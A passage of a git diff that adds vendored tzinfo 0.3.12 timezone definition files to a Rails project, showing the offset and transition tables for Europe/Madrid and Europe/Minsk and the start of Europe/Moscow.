:o2, 29152435, 12 + tz.transition 1939, 11, :o1, 29155039, 12 + tz.transition 1940, 2, :o2, 29156215, 12 + tz.transition 1941, 5, :o3, 58322845, 24 + tz.transition 1941, 8, :o2, 58325197, 24 + tz.transition 1942, 4, :o3, 58330909, 24 + tz.transition 1942, 8, :o2, 58333933, 24 + tz.transition 1943, 4, :o3, 58339645, 24 + tz.transition 1943, 8, :o2, 58342837, 24 + tz.transition 1944, 4, :o3, 58348381, 24 + tz.transition 1944, 9, :o2, 58352413, 24 + tz.transition 1945, 4, :o3, 58357141, 24 + tz.transition 1945, 7, :o2, 58359637, 24 + tz.transition 1945, 10, :o1, 29180827, 12 + tz.transition 1946, 4, :o2, 29183095, 12 + tz.transition 1946, 10, :o1, 29185195, 12 + tz.transition 1947, 3, :o2, 29187127, 12 + tz.transition 1947, 4, :o3, 58374925, 24 + tz.transition 1947, 8, :o2, 58377781, 24 + tz.transition 1947, 11, :o1, 29189899, 12 + tz.transition 1948, 3, :o2, 29191495, 12 + tz.transition 1948, 10, :o1, 29194267, 12 + tz.transition 1949, 4, :o2, 29196115, 12 + tz.transition 1949, 10, :o1, 29198635, 12 + tz.transition 1950, 4, :o2, 29200651, 12 + tz.transition 1950, 10, :o1, 29202919, 12 + tz.transition 1951, 4, :o2, 29205019, 12 + tz.transition 1951, 10, :o1, 29207287, 12 + tz.transition 1952, 4, :o2, 29209471, 12 + tz.transition 1952, 10, :o1, 29211739, 12 + tz.transition 1953, 4, :o2, 29213839, 12 + tz.transition 1953, 10, :o1, 29215855, 12 + tz.transition 1954, 4, :o2, 29218123, 12 + tz.transition 1954, 10, :o1, 29220223, 12 + tz.transition 1955, 4, :o2, 29222575, 12 + tz.transition 1955, 10, :o1, 29224591, 12 + tz.transition 1956, 4, :o2, 29227027, 12 + tz.transition 1956, 10, :o1, 29229043, 12 + tz.transition 1957, 4, :o2, 29231311, 12 + tz.transition 1957, 10, :o1, 29233411, 12 + tz.transition 1958, 4, :o2, 29235763, 12 + tz.transition 1958, 10, :o1, 29237779, 12 + tz.transition 1959, 4, :o2, 29240131, 12 + tz.transition 1959, 10, :o1, 29242147, 12 + tz.transition 1960, 4, :o2, 29244415, 12 + tz.transition 1960, 10, :o1, 29246515, 12 + tz.transition 1961, 3, :o2, 29248615, 12 + tz.transition 1961, 10, :o1, 29251219, 12 + tz.transition 1962, 3, :o2, 29252983, 12 + tz.transition 1962, 10, :o1, 29255587, 12 + tz.transition 1963, 3, :o2, 29257435, 12 + tz.transition 1963, 10, :o1, 29259955, 12 + tz.transition 1964, 3, :o2, 29261719, 12 + tz.transition 1964, 10, :o1, 29264323, 12 + tz.transition 1965, 3, :o2, 29266087, 12 + tz.transition 1965, 10, :o1, 29268691, 12 + tz.transition 1966, 3, :o2, 29270455, 12 + tz.transition 1966, 10, :o1, 29273059, 12 + tz.transition 1967, 3, :o2, 29274823, 12 + tz.transition 1967, 10, :o1, 29277511, 12 + tz.transition 1968, 2, :o2, 29278855, 12 + tz.transition 1968, 10, :o4, 58563755, 24 + tz.transition 1971, 10, :o1, 57722400 + tz.transition 1972, 3, :o2, 69818400 + tz.transition 1972, 10, :o1, 89172000 + tz.transition 1973, 3, :o2, 101268000 + tz.transition 1973, 10, :o1, 120621600 + tz.transition 1974, 3, :o2, 132717600 + tz.transition 1974, 10, :o1, 152071200 + tz.transition 1975, 3, :o2, 164167200 + tz.transition 1975, 10, :o1, 183520800 + tz.transition 1976, 3, :o2, 196221600 + tz.transition 1976, 10, :o1, 214970400 + tz.transition 1977, 3, :o2, 227671200 + tz.transition 1977, 10, :o1, 246420000 + tz.transition 1978, 3, :o2, 259120800 + tz.transition 1978, 10, :o1, 278474400 + tz.transition 1979, 3, :o2, 290570400 + tz.transition 1979, 10, :o1, 309924000 + tz.transition 1980, 3, :o2, 322020000 + tz.transition 1980, 10, :o1, 341373600 + tz.transition 1981, 3, :o2, 354675600 + tz.transition 1981, 10, :o1, 372819600 + tz.transition 1982, 3, :o2, 386125200 + tz.transition 1982, 10, :o1, 404269200 + tz.transition 1983, 3, :o2, 417574800 + tz.transition 1983, 10, :o1, 435718800 + tz.transition 1984, 3, :o2, 449024400 + tz.transition 1984, 10, :o1, 467773200 + tz.transition 1985, 3, :o2, 481078800 + tz.transition 1985, 10, :o1, 499222800 + tz.transition 1986, 3, :o2, 512528400 + tz.transition 1986, 10, :o1, 530672400 + tz.transition 1987, 3, :o2, 543978000 + tz.transition 1987, 10, :o1, 562122000 + tz.transition 1988, 3, :o2, 575427600 + tz.transition 1988, 10, :o1, 593571600 + tz.transition 1989, 3, :o2, 606877200 + tz.transition 1989, 10, :o1, 625626000 + tz.transition 1990, 3, :o2, 638326800 + tz.transition 1990, 10, :o1, 657075600 + tz.transition 1991, 3, :o2, 670381200 + tz.transition 1991, 10, :o1, 688525200 + tz.transition 1992, 3, :o2, 701830800 + tz.transition 1992, 10, :o1, 719974800 + tz.transition 1993, 3, :o2, 733280400 + tz.transition 1993, 10, :o1, 751424400 + tz.transition 1994, 3, :o2, 764730000 + tz.transition 1994, 10, :o1, 782874000 + tz.transition 1995, 3, :o2, 796179600 + tz.transition 1995, 10, :o1, 814323600 + tz.transition 1996, 3, :o2, 828234000 + tz.transition 1996, 10, :o1, 846378000 + tz.transition 1997, 3, :o2, 859683600 + tz.transition 1997, 10, :o1, 877827600 + tz.transition 1998, 3, :o2, 891133200 + tz.transition 1998, 10, :o1, 909277200 + tz.transition 1999, 3, :o2, 922582800 + tz.transition 1999, 10, :o1, 941331600 + tz.transition 2000, 3, :o2, 954032400 + tz.transition 2000, 10, :o1, 972781200 + tz.transition 2001, 3, :o2, 985482000 + tz.transition 2001, 10, :o1, 1004230800 + tz.transition 2002, 3, :o2, 1017536400 + tz.transition 2002, 10, :o1, 1035680400 + tz.transition 2003, 3, :o2, 1048986000 + tz.transition 2003, 10, :o1, 1067130000 + tz.transition 2004, 3, :o2, 1080435600 + tz.transition 2004, 10, :o1, 1099184400 + tz.transition 2005, 3, :o2, 1111885200 + tz.transition 2005, 10, :o1, 1130634000 + tz.transition 2006, 3, :o2, 1143334800 + tz.transition 2006, 10, :o1, 1162083600 + tz.transition 2007, 3, :o2, 1174784400 + tz.transition 2007, 10, :o1, 1193533200 + tz.transition 2008, 3, :o2, 1206838800 + tz.transition 2008, 10, :o1, 1224982800 + tz.transition 2009, 3, :o2, 1238288400 + tz.transition 2009, 10, :o1, 1256432400 + tz.transition 2010, 3, :o2, 1269738000 + tz.transition 2010, 10, :o1, 1288486800 + tz.transition 2011, 3, :o2, 1301187600 + tz.transition 2011, 10, :o1, 1319936400 + tz.transition 2012, 3, :o2, 1332637200 + tz.transition 2012, 10, :o1, 1351386000 + tz.transition 2013, 3, :o2, 1364691600 + tz.transition 2013, 10, :o1, 1382835600 + tz.transition 2014, 3, :o2, 1396141200 + tz.transition 2014, 10, :o1, 1414285200 + tz.transition 2015, 3, :o2, 1427590800 + tz.transition 2015, 10, :o1, 1445734800 + tz.transition 2016, 3, :o2, 1459040400 + tz.transition 2016, 10, :o1, 1477789200 + tz.transition 2017, 3, :o2, 1490490000 + tz.transition 2017, 10, :o1, 1509238800 + tz.transition 2018, 3, :o2, 1521939600 + tz.transition 2018, 10, :o1, 1540688400 + tz.transition 2019, 3, :o2, 1553994000 + tz.transition 2019, 10, :o1, 1572138000 + tz.transition 2020, 3, :o2, 1585443600 + tz.transition 2020, 10, :o1, 1603587600 + tz.transition 2021, 3, :o2, 1616893200 + tz.transition 2021, 10, :o1, 1635642000 + tz.transition 2022, 3, :o2, 1648342800 + tz.transition 2022, 10, :o1, 1667091600 + tz.transition 2023, 3, :o2, 1679792400 + tz.transition 2023, 10, :o1, 1698541200 + tz.transition 2024, 3, :o2, 1711846800 + tz.transition 2024, 10, :o1, 1729990800 + tz.transition 2025, 3, :o2, 1743296400 + tz.transition 2025, 10, :o1, 1761440400 + tz.transition 2026, 3, :o2, 1774746000 + tz.transition 2026, 10, :o1, 1792890000 + tz.transition 2027, 3, :o2, 1806195600 + tz.transition 2027, 10, :o1, 1824944400 + tz.transition 2028, 3, :o2, 1837645200 + tz.transition 2028, 10, :o1, 1856394000 + tz.transition 2029, 3, :o2, 1869094800 + tz.transition 2029, 10, :o1, 1887843600 + tz.transition 2030, 3, :o2, 1901149200 + tz.transition 2030, 10, :o1, 1919293200 + tz.transition 2031, 3, :o2, 1932598800 + tz.transition 2031, 10, :o1, 1950742800 + tz.transition 2032, 3, :o2, 1964048400 + tz.transition 2032, 10, :o1, 1982797200 + tz.transition 2033, 3, :o2, 1995498000 + tz.transition 2033, 10, :o1, 2014246800 + tz.transition 2034, 3, :o2, 2026947600 + tz.transition 2034, 10, :o1, 2045696400 + tz.transition 2035, 3, :o2, 2058397200 + tz.transition 2035, 10, :o1, 2077146000 + tz.transition 2036, 3, :o2, 2090451600 + tz.transition 2036, 10, :o1, 2108595600 + tz.transition 2037, 3, :o2, 2121901200 + tz.transition 2037, 10, :o1, 2140045200 + tz.transition 2038, 3, :o2, 59172253, 24 + tz.transition 2038, 10, :o1, 59177461, 24 + tz.transition 2039, 3, :o2, 59180989, 24 + tz.transition 2039, 10, :o1, 59186197, 24 + tz.transition 2040, 3, :o2, 59189725, 24 + tz.transition 2040, 10, :o1, 59194933, 24 + tz.transition 2041, 3, :o2, 59198629, 24 + tz.transition 2041, 10, :o1, 59203669, 24 + tz.transition 2042, 3, :o2, 59207365, 24 + tz.transition 2042, 10, :o1, 59212405, 24 + tz.transition 2043, 3, :o2, 59216101, 24 + tz.transition 2043, 10, :o1, 59221141, 24 + tz.transition 2044, 3, :o2, 59224837, 24 + tz.transition 2044, 10, :o1, 59230045, 24 + tz.transition 2045, 3, :o2, 59233573, 24 + tz.transition 2045, 10, :o1, 59238781, 24 + tz.transition 2046, 3, :o2, 59242309, 24 + tz.transition 2046, 10, :o1, 59247517, 24 + tz.transition 2047, 3, :o2, 59251213, 24 + tz.transition 2047, 10, :o1, 59256253, 24 + tz.transition 2048, 3, :o2, 59259949, 24 + tz.transition 2048, 10, :o1, 59264989, 24 + tz.transition 2049, 3, :o2, 59268685, 24 + tz.transition 2049, 10, :o1, 59273893, 24 + tz.transition 2050, 3, :o2, 59277421, 24 + tz.transition 2050, 10, :o1, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Madrid.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Madrid.rb new file mode 100644 index 00000000..1fb56823 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Madrid.rb @@ -0,0 +1,211 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Madrid + include TimezoneDefinition + + timezone 'Europe/Madrid' do |tz| + tz.offset :o0, -884, 0, :LMT + tz.offset :o1, 0, 0, :WET + tz.offset :o2, 0, 3600, :WEST + tz.offset :o3, 0, 7200, :WEMT + tz.offset :o4, 3600, 0, :CET + tz.offset :o5, 3600, 3600, :CEST + + tz.transition 1901, 1, :o1, 52172327021, 21600 + tz.transition 1917, 5, :o2, 58112507, 24 + tz.transition 1917, 10, :o1, 58116203, 24 + tz.transition 1918, 4, :o2, 58120787, 24 + tz.transition 1918, 10, :o1, 58124963, 24 + tz.transition 1919, 4, :o2, 58129307, 24 + tz.transition 1919, 10, :o1, 58133723, 24 + tz.transition 1924, 4, :o2, 58173419, 24 + tz.transition 1924, 10, :o1, 58177523, 24 + tz.transition 1926, 4, :o2, 58190963, 24 + tz.transition 1926, 10, :o1, 58194995, 24 + tz.transition 1927, 4, :o2, 58199531, 24 + tz.transition 1927, 10, :o1, 58203731, 24 + tz.transition 1928, 4, :o2, 58208435, 24 + tz.transition 1928, 10, :o1, 58212635, 24 + tz.transition 1929, 4, :o2, 58217339, 24 + tz.transition 1929, 10, :o1, 58221371, 24 + tz.transition 1937, 5, :o2, 58288235, 24 + tz.transition 1937, 10, :o1, 58291427, 24 + tz.transition 1938, 3, :o2, 58295531, 24 + tz.transition 1938, 10, :o1, 58300163, 24 + tz.transition 1939, 4, :o2, 58304867, 24 + tz.transition 1939, 10, :o1, 58309067, 24 + tz.transition 1940, 3, :o2, 58312931, 24 + tz.transition 1942, 5, :o3, 29165789, 12 + tz.transition 1942, 9, :o2, 29167253, 12 + tz.transition 1943, 4, :o3, 29169989, 12 + tz.transition 1943, 10, :o2, 29172017, 12 + tz.transition 1944, 4, :o3, 29174357, 12 + tz.transition 1944, 10, :o2, 29176493, 12 + tz.transition 1945, 4, :o3, 29178725, 12 + tz.transition 1945, 9, :o2, 58361483, 24 + tz.transition 1946, 4, :o3, 29183093, 12 + tz.transition 1946, 9, :o4, 29185121, 12 + tz.transition 1949, 4, :o5, 29196449, 12 + tz.transition 1949, 9, :o4, 58396547, 24 + tz.transition 1974, 4, :o5, 135122400 + tz.transition 1974, 10, :o4, 150246000 + tz.transition 1975, 4, :o5, 167176800 + tz.transition 1975, 10, :o4, 181695600 + tz.transition 1976, 3, :o5, 196812000 + tz.transition 1976, 9, :o4, 212540400 + tz.transition 1977, 4, :o5, 228866400 + tz.transition 1977, 9, :o4, 243990000 + tz.transition 1978, 4, :o5, 260402400 + tz.transition 1978, 9, :o4, 276044400 + tz.transition 1979, 4, :o5, 291776400 + tz.transition 1979, 9, :o4, 307501200 + tz.transition 1980, 4, :o5, 323830800 + tz.transition 1980, 9, :o4, 338950800 + tz.transition 1981, 3, :o5, 354675600 + tz.transition 1981, 9, :o4, 370400400 + tz.transition 1982, 3, :o5, 386125200 + tz.transition 1982, 9, :o4, 401850000 + tz.transition 1983, 3, :o5, 417574800 + tz.transition 1983, 9, :o4, 433299600 + tz.transition 1984, 3, :o5, 449024400 + tz.transition 1984, 9, :o4, 465354000 + tz.transition 1985, 3, :o5, 481078800 + tz.transition 1985, 9, :o4, 496803600 + tz.transition 1986, 3, :o5, 512528400 + tz.transition 1986, 9, :o4, 528253200 + tz.transition 1987, 3, :o5, 543978000 + tz.transition 1987, 9, :o4, 559702800 + tz.transition 1988, 3, :o5, 575427600 + tz.transition 1988, 9, :o4, 591152400 + tz.transition 1989, 3, :o5, 606877200 + tz.transition 1989, 9, :o4, 622602000 + tz.transition 1990, 3, :o5, 638326800 + tz.transition 1990, 9, :o4, 654656400 + tz.transition 1991, 3, :o5, 670381200 + tz.transition 1991, 9, :o4, 686106000 + tz.transition 1992, 3, :o5, 701830800 + tz.transition 1992, 9, :o4, 717555600 + tz.transition 1993, 3, :o5, 733280400 + tz.transition 1993, 9, :o4, 749005200 + tz.transition 1994, 3, :o5, 764730000 + tz.transition 1994, 9, :o4, 780454800 + tz.transition 1995, 3, :o5, 796179600 + tz.transition 1995, 9, :o4, 811904400 + tz.transition 1996, 3, :o5, 828234000 + tz.transition 1996, 10, :o4, 846378000 + tz.transition 1997, 3, :o5, 859683600 + tz.transition 1997, 10, :o4, 877827600 + tz.transition 1998, 3, :o5, 891133200 + tz.transition 1998, 10, :o4, 909277200 + tz.transition 1999, 3, :o5, 922582800 + tz.transition 1999, 10, :o4, 941331600 + tz.transition 2000, 3, :o5, 954032400 + tz.transition 2000, 10, :o4, 972781200 + tz.transition 2001, 3, :o5, 985482000 + tz.transition 2001, 10, :o4, 1004230800 + tz.transition 2002, 3, :o5, 1017536400 + tz.transition 2002, 10, :o4, 1035680400 + tz.transition 2003, 3, :o5, 1048986000 + tz.transition 2003, 10, :o4, 1067130000 + tz.transition 2004, 3, :o5, 1080435600 + tz.transition 2004, 10, :o4, 1099184400 + tz.transition 2005, 3, :o5, 1111885200 + tz.transition 2005, 10, :o4, 1130634000 + tz.transition 2006, 3, :o5, 1143334800 + tz.transition 2006, 10, :o4, 1162083600 + tz.transition 2007, 3, :o5, 1174784400 + tz.transition 2007, 10, :o4, 1193533200 + tz.transition 2008, 3, :o5, 1206838800 + tz.transition 2008, 10, :o4, 1224982800 + tz.transition 2009, 3, :o5, 1238288400 + tz.transition 2009, 10, :o4, 1256432400 + tz.transition 2010, 3, :o5, 1269738000 + tz.transition 2010, 10, :o4, 1288486800 + tz.transition 2011, 3, :o5, 1301187600 + tz.transition 2011, 10, :o4, 1319936400 + tz.transition 2012, 3, :o5, 1332637200 + tz.transition 2012, 10, :o4, 1351386000 + tz.transition 2013, 3, :o5, 1364691600 + tz.transition 2013, 10, :o4, 1382835600 + tz.transition 2014, 3, :o5, 1396141200 + tz.transition 2014, 10, :o4, 1414285200 + tz.transition 2015, 3, :o5, 1427590800 + tz.transition 2015, 10, :o4, 1445734800 + tz.transition 2016, 3, :o5, 1459040400 + tz.transition 2016, 10, :o4, 1477789200 + tz.transition 2017, 3, :o5, 1490490000 + tz.transition 2017, 10, :o4, 1509238800 + tz.transition 2018, 3, :o5, 1521939600 + tz.transition 2018, 10, :o4, 1540688400 + tz.transition 2019, 3, :o5, 1553994000 + tz.transition 2019, 10, :o4, 1572138000 + tz.transition 2020, 3, :o5, 1585443600 + tz.transition 2020, 10, :o4, 1603587600 + tz.transition 2021, 3, :o5, 1616893200 + tz.transition 2021, 10, :o4, 1635642000 + tz.transition 2022, 3, :o5, 1648342800 + tz.transition 2022, 10, :o4, 1667091600 + tz.transition 2023, 3, :o5, 1679792400 + tz.transition 2023, 10, :o4, 1698541200 + tz.transition 2024, 3, :o5, 1711846800 + tz.transition 2024, 10, :o4, 1729990800 + tz.transition 2025, 3, :o5, 1743296400 + tz.transition 2025, 10, :o4, 1761440400 + tz.transition 2026, 3, :o5, 1774746000 + tz.transition 2026, 10, :o4, 1792890000 + tz.transition 2027, 3, :o5, 1806195600 + tz.transition 2027, 10, :o4, 1824944400 + tz.transition 2028, 3, :o5, 1837645200 + tz.transition 2028, 10, :o4, 1856394000 + tz.transition 2029, 3, :o5, 1869094800 + tz.transition 2029, 10, :o4, 1887843600 + tz.transition 2030, 3, :o5, 1901149200 + tz.transition 2030, 10, :o4, 1919293200 + tz.transition 2031, 3, :o5, 1932598800 + tz.transition 2031, 10, :o4, 1950742800 + tz.transition 2032, 3, :o5, 1964048400 + tz.transition 2032, 10, :o4, 1982797200 + tz.transition 2033, 3, :o5, 1995498000 + tz.transition 2033, 10, :o4, 2014246800 + tz.transition 2034, 3, :o5, 2026947600 + tz.transition 2034, 10, :o4, 2045696400 + tz.transition 2035, 3, :o5, 2058397200 + tz.transition 2035, 10, :o4, 2077146000 + tz.transition 2036, 3, :o5, 2090451600 + tz.transition 2036, 10, :o4, 2108595600 + tz.transition 2037, 3, :o5, 2121901200 + tz.transition 2037, 10, :o4, 2140045200 + tz.transition 2038, 3, :o5, 59172253, 24 + tz.transition 2038, 10, :o4, 59177461, 24 + tz.transition 2039, 3, :o5, 59180989, 24 + tz.transition 2039, 10, :o4, 59186197, 24 + tz.transition 2040, 3, :o5, 59189725, 24 + tz.transition 2040, 10, :o4, 59194933, 24 + tz.transition 2041, 3, :o5, 59198629, 24 + tz.transition 2041, 10, :o4, 59203669, 24 + tz.transition 2042, 3, :o5, 59207365, 24 + tz.transition 2042, 10, :o4, 59212405, 24 + tz.transition 2043, 3, :o5, 59216101, 24 + tz.transition 2043, 10, :o4, 59221141, 24 + tz.transition 2044, 3, :o5, 59224837, 24 + tz.transition 2044, 10, :o4, 59230045, 24 + tz.transition 2045, 3, :o5, 59233573, 24 + tz.transition 2045, 10, :o4, 59238781, 24 + tz.transition 2046, 3, :o5, 59242309, 24 + tz.transition 2046, 10, :o4, 59247517, 24 + tz.transition 2047, 3, :o5, 59251213, 24 + tz.transition 2047, 10, :o4, 59256253, 24 + tz.transition 2048, 3, :o5, 59259949, 24 + tz.transition 2048, 10, :o4, 59264989, 24 + tz.transition 2049, 3, :o5, 59268685, 24 + tz.transition 2049, 10, :o4, 59273893, 24 + tz.transition 2050, 3, :o5, 59277421, 24 + tz.transition 2050, 10, :o4, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Minsk.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Minsk.rb new file mode 100644 index 00000000..fa15816c --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Minsk.rb @@ -0,0 +1,170 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Minsk + include TimezoneDefinition + + timezone 'Europe/Minsk' do |tz| + tz.offset :o0, 6616, 0, :LMT + tz.offset :o1, 6600, 0, :MMT + tz.offset :o2, 7200, 0, :EET + tz.offset :o3, 10800, 0, :MSK + tz.offset :o4, 3600, 3600, :CEST + tz.offset :o5, 3600, 0, :CET + tz.offset :o6, 10800, 3600, :MSD + tz.offset :o7, 7200, 3600, :EEST + + tz.transition 1879, 12, :o1, 26003326573, 10800 + tz.transition 1924, 5, :o2, 349042669, 144 + tz.transition 1930, 6, :o3, 29113781, 12 + tz.transition 1941, 6, :o4, 19441387, 8 + tz.transition 1942, 11, :o5, 58335973, 24 + tz.transition 1943, 3, :o4, 58339501, 24 + tz.transition 1943, 10, :o5, 58344037, 24 + tz.transition 1944, 4, :o4, 58348405, 24 + tz.transition 1944, 7, :o3, 29175293, 12 + tz.transition 1981, 3, :o6, 354920400 + tz.transition 1981, 9, :o3, 370728000 + tz.transition 1982, 3, :o6, 386456400 + tz.transition 1982, 9, :o3, 402264000 + tz.transition 1983, 3, :o6, 417992400 + tz.transition 1983, 9, :o3, 433800000 + tz.transition 1984, 3, :o6, 449614800 + tz.transition 1984, 9, :o3, 465346800 + tz.transition 1985, 3, :o6, 481071600 + tz.transition 1985, 9, :o3, 496796400 + tz.transition 1986, 3, :o6, 512521200 + tz.transition 1986, 9, :o3, 528246000 + tz.transition 1987, 3, :o6, 543970800 + tz.transition 1987, 9, :o3, 559695600 + tz.transition 1988, 3, :o6, 575420400 + tz.transition 1988, 9, :o3, 591145200 + tz.transition 1989, 3, :o6, 606870000 + tz.transition 1989, 9, :o3, 622594800 + tz.transition 1991, 3, :o7, 670374000 + tz.transition 1991, 9, :o2, 686102400 + tz.transition 1992, 3, :o7, 701820000 + tz.transition 1992, 9, :o2, 717544800 + tz.transition 1993, 3, :o7, 733276800 + tz.transition 1993, 9, :o2, 749001600 + tz.transition 1994, 3, :o7, 764726400 + tz.transition 1994, 9, :o2, 780451200 + tz.transition 1995, 3, :o7, 796176000 + tz.transition 1995, 9, :o2, 811900800 + tz.transition 1996, 3, :o7, 828230400 + tz.transition 1996, 10, :o2, 846374400 + tz.transition 1997, 3, :o7, 859680000 + tz.transition 1997, 10, :o2, 877824000 + tz.transition 1998, 3, :o7, 891129600 + tz.transition 1998, 10, :o2, 909273600 + tz.transition 1999, 3, :o7, 922579200 + tz.transition 1999, 10, :o2, 941328000 + tz.transition 2000, 3, :o7, 954028800 + tz.transition 2000, 10, :o2, 972777600 + tz.transition 2001, 3, :o7, 985478400 + tz.transition 2001, 10, :o2, 1004227200 + tz.transition 2002, 3, :o7, 1017532800 + tz.transition 2002, 10, :o2, 1035676800 + tz.transition 2003, 3, :o7, 1048982400 + tz.transition 2003, 10, :o2, 1067126400 + tz.transition 2004, 3, :o7, 1080432000 + tz.transition 2004, 10, :o2, 1099180800 + tz.transition 2005, 3, :o7, 1111881600 + tz.transition 2005, 10, :o2, 1130630400 + tz.transition 2006, 3, :o7, 1143331200 + tz.transition 2006, 10, :o2, 1162080000 + tz.transition 2007, 3, :o7, 1174780800 + tz.transition 2007, 10, :o2, 1193529600 + tz.transition 2008, 3, :o7, 1206835200 + tz.transition 2008, 10, :o2, 1224979200 + tz.transition 2009, 3, :o7, 1238284800 + tz.transition 2009, 10, :o2, 1256428800 + tz.transition 2010, 3, :o7, 1269734400 + tz.transition 2010, 10, :o2, 1288483200 + tz.transition 2011, 3, :o7, 1301184000 + tz.transition 2011, 10, :o2, 1319932800 + tz.transition 2012, 3, :o7, 1332633600 + tz.transition 2012, 10, :o2, 1351382400 + tz.transition 2013, 3, :o7, 1364688000 + tz.transition 2013, 10, :o2, 1382832000 + tz.transition 2014, 3, :o7, 1396137600 + tz.transition 2014, 10, :o2, 1414281600 + tz.transition 2015, 3, :o7, 1427587200 + tz.transition 2015, 10, :o2, 1445731200 + tz.transition 2016, 3, :o7, 1459036800 + tz.transition 2016, 10, :o2, 1477785600 + tz.transition 2017, 3, :o7, 1490486400 + tz.transition 2017, 10, :o2, 1509235200 + tz.transition 2018, 3, :o7, 1521936000 + tz.transition 2018, 10, :o2, 1540684800 + tz.transition 2019, 3, :o7, 1553990400 + tz.transition 2019, 10, :o2, 1572134400 + tz.transition 2020, 3, :o7, 1585440000 + tz.transition 2020, 10, :o2, 1603584000 + tz.transition 2021, 3, :o7, 1616889600 + tz.transition 2021, 10, :o2, 1635638400 + tz.transition 2022, 3, :o7, 1648339200 + tz.transition 2022, 10, :o2, 1667088000 + tz.transition 2023, 3, :o7, 1679788800 + tz.transition 2023, 10, :o2, 1698537600 + tz.transition 2024, 3, :o7, 1711843200 + tz.transition 2024, 10, :o2, 1729987200 + tz.transition 2025, 3, :o7, 1743292800 + tz.transition 2025, 10, :o2, 1761436800 + tz.transition 2026, 3, :o7, 1774742400 + tz.transition 2026, 10, :o2, 1792886400 + tz.transition 2027, 3, :o7, 1806192000 + tz.transition 2027, 10, :o2, 1824940800 + tz.transition 2028, 3, :o7, 1837641600 + tz.transition 2028, 10, :o2, 1856390400 + tz.transition 2029, 3, :o7, 1869091200 + tz.transition 2029, 10, :o2, 1887840000 + tz.transition 2030, 3, :o7, 1901145600 + tz.transition 2030, 10, :o2, 1919289600 + tz.transition 2031, 3, :o7, 1932595200 + tz.transition 2031, 10, :o2, 1950739200 + tz.transition 2032, 3, :o7, 1964044800 + tz.transition 2032, 10, :o2, 1982793600 + tz.transition 2033, 3, :o7, 1995494400 + tz.transition 2033, 10, :o2, 2014243200 + tz.transition 2034, 3, :o7, 2026944000 + tz.transition 2034, 10, :o2, 2045692800 + tz.transition 2035, 3, :o7, 2058393600 + tz.transition 2035, 10, :o2, 2077142400 + tz.transition 2036, 3, :o7, 2090448000 + tz.transition 2036, 10, :o2, 2108592000 + tz.transition 2037, 3, :o7, 2121897600 + tz.transition 2037, 10, :o2, 2140041600 + tz.transition 2038, 3, :o7, 4931021, 2 + tz.transition 2038, 10, :o2, 4931455, 2 + tz.transition 2039, 3, :o7, 4931749, 2 + tz.transition 2039, 10, :o2, 4932183, 2 + tz.transition 2040, 3, :o7, 4932477, 2 + tz.transition 2040, 10, :o2, 4932911, 2 + tz.transition 2041, 3, :o7, 4933219, 2 + tz.transition 2041, 10, :o2, 4933639, 2 + tz.transition 2042, 3, :o7, 4933947, 2 + tz.transition 2042, 10, :o2, 4934367, 2 + tz.transition 2043, 3, :o7, 4934675, 2 + tz.transition 2043, 10, :o2, 4935095, 2 + tz.transition 2044, 3, :o7, 4935403, 2 + tz.transition 2044, 10, :o2, 4935837, 2 + tz.transition 2045, 3, :o7, 4936131, 2 + tz.transition 2045, 10, :o2, 4936565, 2 + tz.transition 2046, 3, :o7, 4936859, 2 + tz.transition 2046, 10, :o2, 4937293, 2 + tz.transition 2047, 3, :o7, 4937601, 2 + tz.transition 2047, 10, :o2, 4938021, 2 + tz.transition 2048, 3, :o7, 4938329, 2 + tz.transition 2048, 10, :o2, 4938749, 2 + tz.transition 2049, 3, :o7, 4939057, 2 + tz.transition 2049, 10, :o2, 4939491, 2 + tz.transition 2050, 3, :o7, 4939785, 2 + tz.transition 2050, 10, :o2, 4940219, 2 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Moscow.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Moscow.rb new file mode 100644 index 00000000..ef269b67 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Moscow.rb @@ -0,0 +1,181 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Moscow + include TimezoneDefinition + + timezone 'Europe/Moscow' do |tz| + tz.offset :o0, 9020, 0, :LMT + tz.offset :o1, 9000, 0, :MMT + tz.offset :o2, 9048, 0, :MMT + tz.offset :o3, 9048, 3600, :MST + tz.offset :o4, 9048, 7200, :MDST + tz.offset :o5, 10800, 3600, :MSD + tz.offset :o6, 10800, 0, :MSK + tz.offset :o7, 10800, 7200, :MSD + tz.offset :o8, 7200, 0, :EET + tz.offset :o9, 7200, 3600, :EEST + + tz.transition 1879, 12, :o1, 10401330509, 4320 + tz.transition 1916, 7, :o2, 116210275, 48 + tz.transition 1917, 7, :o3, 8717080873, 3600 + tz.transition 1917, 12, :o2, 8717725273, 3600 + tz.transition 1918, 5, :o4, 8718283123, 3600 + tz.transition 1918, 9, :o3, 8718668473, 3600 + tz.transition 1919, 5, :o4, 8719597123, 3600 + tz.transition 1919, 6, :o5, 8719705423, 3600 + tz.transition 1919, 8, :o6, 7266559, 3 + tz.transition 1921, 2, :o5, 7268206, 3 + tz.transition 1921, 3, :o7, 58146463, 24 + tz.transition 1921, 8, :o5, 58150399, 24 + tz.transition 1921, 9, :o6, 7268890, 3 + tz.transition 1922, 9, :o8, 19386627, 8 + tz.transition 1930, 6, :o6, 29113781, 12 + tz.transition 1981, 3, :o5, 354920400 + tz.transition 1981, 9, :o6, 370728000 + tz.transition 1982, 3, :o5, 386456400 + tz.transition 1982, 9, :o6, 402264000 + tz.transition 1983, 3, :o5, 417992400 + tz.transition 1983, 9, :o6, 433800000 + 